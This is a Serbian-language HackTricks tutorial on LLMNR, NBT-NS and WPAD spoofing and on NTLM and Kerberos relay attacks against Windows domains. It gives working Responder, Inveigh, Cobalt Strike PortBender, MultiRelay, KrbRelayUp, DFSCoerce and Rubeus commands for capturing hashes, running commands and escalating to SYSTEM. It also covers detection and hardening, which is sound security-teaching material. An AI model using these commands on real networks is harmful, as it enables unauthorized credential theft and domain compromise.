Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 11 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Mrežni protokoli

Protokoli za lokalno rešavanje hostova

  • LLMNR, NBT-NS i mDNS:
  • Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično tome, Apple i Linux sistemi koriste mDNS.
  • Ovi protokoli su podložni presretanju i spoofingu zbog svoje neautentifikovane, broadcast prirode preko UDP-a.
  • Responder se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji postavljaju upite ovim protokolima.
  • Dodatne informacije o impersonaciji usluga koristeći Responder mogu se naći ovde.

Protokol za automatsko otkrivanje web proxy-a (WPAD)

  • WPAD omogućava pretraživačima da automatski otkriju postavke proxy-a.
  • Otkriće se olakšava putem DHCP-a, DNS-a, ili povratka na LLMNR i NBT-NS ako DNS zakaže.
  • Responder može automatizovati WPAD napade, usmeravajući klijente na zlonamerne WPAD servere.

Responder za trovanje protokola

  • Responder je alat koji se koristi za trovanje LLMNR, NBT-NS i mDNS upita, selektivno odgovarajući na osnovu tipova upita, prvenstveno cilja SMB usluge.
  • Dolazi unapred instaliran u Kali Linux-u, konfigurisanje se vrši na /etc/responder/Responder.conf.
  • Responder prikazuje uhvaćene hešove na ekranu i čuva ih u direktorijumu /usr/share/responder/logs.
  • Podržava i IPv4 i IPv6.
  • Windows verzija Responder-a je dostupna ovde.

Pokretanje Responder-a

  • Da biste pokrenuli Responder sa podrazumevanim postavkama: responder -I <Interface>
  • Za agresivnije ispitivanje (sa potencijalnim nuspojavama): responder -I <Interface> -P -r -v
  • Tehnike za hvatanje NTLMv1 izazova/odgovora radi lakšeg krakenja: responder -I <Interface> --lm --disable-ess
  • Impersonacija WPAD-a može se aktivirati sa: responder -I <Interface> --wpad
  • NetBIOS zahtevi mogu se rešiti na IP napadača, a može se postaviti i proxy za autentifikaciju: responder.py -I <interface> -Pv

DHCP trovanje sa Responder-om

  • Spoofing DHCP odgovora može trajno otrovati rutiranje informacije žrtve, nudeći diskretniju alternativu ARP trovanju.
  • Zahteva precizno poznavanje konfiguracije ciljne mreže.
  • Pokretanje napada: ./Responder.py -I eth0 -Pdv
  • Ova metoda može efikasno uhvatiti NTLMv1/2 hešove, ali zahteva pažljivo rukovanje kako bi se izbeglo ometanje mreže.

Hvatanje kredencijala sa Responder-om

  • Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 izazov/odgovor) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga.
  • Mogu se pokušati pokušaji da se pređe na NetNTLMv1 ili da se onemogući ESS radi lakšeg krakenja kredencijala.

Važno je napomenuti da se korišćenje ovih tehnika mora vršiti legalno i etički, osiguravajući odgovarajuću autorizaciju i izbegavajući ometanje ili neovlašćen pristup.

Inveigh

Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i napade "man-in-the-middle". Alat se razvio iz PowerShell skripte u C# binarni, sa Inveigh i InveighZero kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u wiki.

Inveigh se može koristiti kroz PowerShell:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ili izvršeno kao C# binarni fajl:

bash
Inveigh.exe

NTLM Relay Attack

Ovaj napad koristi SMB autentifikacione sesije za pristup ciljnim mašinama, omogućavajući sistemsku ljusku ako je uspešan. Ključni preduslovi uključuju:

  • Autentifikovani korisnik mora imati lokalni administratorski pristup na relayed hostu.
  • SMB potpisivanje treba biti onemogućeno.

445 Port Forwarding and Tunneling

U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput PortBender pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je lokalni administratorski pristup dostupan za učitavanje drajvera.

PortBender podešavanje i rad u Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Ostali alati za NTLM Relay napad

  • Metasploit: Podešen sa proxy-ima, detaljima lokalnih i udaljenih hostova.
  • smbrelayx: Python skripta za preusmeravanje SMB sesija i izvršavanje komandi ili postavljanje backdoora.
  • MultiRelay: Alat iz Responder paketa za preusmeravanje specifičnih korisnika ili svih korisnika, izvršavanje komandi ili dumpovanje hash-eva.

Svaki alat može biti konfigurisan da radi kroz SOCKS proxy ako je potrebno, omogućavajući napade čak i sa indirektnim pristupom mreži.

MultiRelay operacija

MultiRelay se izvršava iz /usr/share/responder/tools direktorijuma, ciljajući specifične IP adrese ili korisnike.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Ovi alati i tehnike čine sveobuhvatan set za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima.

Prisiljavanje NTLM prijava

Na Windows-u možda ćete moći da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama. Pročitajte sledeću stranicu da biste saznali kako:

Force NTLM Privileged Authentication

Kerberos Relay napad

Kerberos relay napad krade AP-REQ tiket sa jedne usluge i ponovo ga koristi protiv druge usluge koja deli isti ključ računa računara (jer oba SPN-a sede na istom $ računu mašine). Ovo funkcioniše iako se klase usluga SPN-a razlikuju (npr. CIFS/LDAP/) jer je ključ koji dekriptuje tiket NT hash mašine, a ne sam SPN string i SPN string nije deo potpisa.

Za razliku od NTLM relay, skakanje je ograničeno na istu host ali, ako ciljate protokol koji vam omogućava da pišete u LDAP, možete se povezati u Resource-Based Constrained Delegation (RBCD) ili AD CS upis i pop NT AUTHORITY\SYSTEM u jednom potezu.

Za detaljne informacije o ovom napadu proverite:

TokenSvrhaRelevancija za relay
TGT / AS-REQ ↔ REPDokazuje korisnika KDC-unetaknuto
Servisni tiket / TGS-REQ ↔ REPPovezan sa jednim SPN; enkriptovan ključem vlasnika SPN-azamenljivi ako SPN-ovi dele račun
AP-REQKlijent šalje TGS usluziono što krademo i ponovo koristimo
  • Tiketi su enkriptovani sa ključem izvedenim iz lozinke računa koji poseduje SPN.
  • Authenticator unutar AP-REQ ima vremensku oznaku od 5 minuta; ponovna upotreba unutar tog prozora je validna dok keš usluge ne vidi duplikat.
  • Windows retko proverava da li se SPN string u tiketu poklapa sa uslugom koju pogodite, tako da tiket za CIFS/HOST obično dobro dekriptuje na LDAP/HOST.
    1. Šta mora biti tačno da bi se relayed Kerberos
  1. Zajednički ključ: izvorni i ciljni SPN-ovi pripadaju istom računu računara (podrazumevano na Windows serverima).
  2. Bez zaštite kanala: SMB/LDAP potpis isključen i EPA isključen za HTTP/LDAPS.
  3. Možete presresti ili primorati autentifikaciju: LLMNR/NBNS otrov, DNS spoof, PetitPotam / DFSCoerce RPC, lažni AuthIP, rogue DCOM, itd.
  4. Izvor tiketa nije već korišćen: pobedite u trci pre nego što pravi paket stigne ili ga potpuno blokirajte; inače keš ponovne upotrebe servera aktivira Događaj 4649.
  5. Na neki način morate biti u mogućnosti da izvršite MitM u komunikaciji, možda kao deo grupe DNSAmins da biste izmenili DNS domena ili da biste mogli da promenite HOST datoteku žrtve.

Koraci Kerberos Relay

  • 3.1 Recon host
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Pokrenite relays slušalac

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp obavija KrbRelay → LDAP → RBCD → Rubeus → SCM bypass u jednoj binarnoj datoteci.

  • 3.3 Prisiliti Kerberos autentifikaciju
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce čini da DC pošalje Kerberos CIFS/DC01 tiket nama.

  • 3.4 Preusmeri AP-REQ

KrbRelay izvlači GSS blob iz SMB, ponovo ga pakuje u LDAP bind i prosleđuje ga ldap://DC01—autentifikacija uspeva jer isti ključ dešifruje.

  • 3.5 Zloupotreba LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Sada posedujete NT AUTHORITY\SYSTEM.

Još puteva koje vredi znati

VektorTrikZašto je to važno
AuthIP / IPSecLažni server šalje GSS-ID payload sa bilo kojim SPN; klijent gradi AP-REQ direktno ka vamaRadi čak i preko podmreža; mašinske kredencijale po defaultu
DCOM / MSRPCZlonamerna OXID rezolucija prisiljava klijenta da se autentifikuje na proizvoljni SPN i portČista lokalna privilegija-eskalacija; zaobilazi firewall
AD CS Web EnrollPreusmerite mašinski tiket na HTTP/CA i dobijte sertifikat, zatim PKINIT za kreiranje TGT-ovaZaobilazi LDAP potpisne odbrane
Shadow CredentialsNapišite msDS-KeyCredentialLink, zatim PKINIT sa lažnim parom ključevaNema potrebe za dodavanjem računa računara

Rešavanje problema

GreškaZnačenjeRešenje
KRB_AP_ERR_MODIFIEDKljuč tiketa ≠ ključ ciljaPogrešan host/SPN
KRB_AP_ERR_SKEWSat > 5 min razlikeSinhronizujte vreme ili koristite w32tm
LDAP vezivanje ne uspevaPotpisivanje je primenjenoKoristite AD CS putanju ili onemogućite potpisivanje
Spam događaja 4649Usluga je videla duplikat autentifikatorablokirajte ili trkajte originalni paket

Detekcija

  • Porast u Događaju 4769 za CIFS/, HTTP/, LDAP/ iz istog izvora u roku od nekoliko sekundi.
  • Događaj 4649 na usluzi ukazuje na detektovanu reprodukciju.
  • Kerberos prijava sa 127.0.0.1 (preusmeravanje na lokalni SCM) je veoma sumnjiva—mapirajte putem Sigma pravila u KrbRelayUp dokumentima.
  • Pratite promene na atributima msDS-AllowedToActOnBehalfOfOtherIdentity ili msDS-KeyCredentialLink.

Ojačavanje

  1. Primorajte LDAP & SMB potpisivanje + EPA na svakom serveru.
  2. Podelite SPN-ove tako da HTTP nije na istom računu kao CIFS/LDAP.
  3. Zakrpite vektore prinude (PetitPotam KB5005413, DFS, AuthIP).
  4. Postavite ms-DS-MachineAccountQuota = 0 da zaustavite neovlašćena pridruživanja računara.
  5. Upozorite na Događaj 4649 i neočekivane loopback Kerberos prijave.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks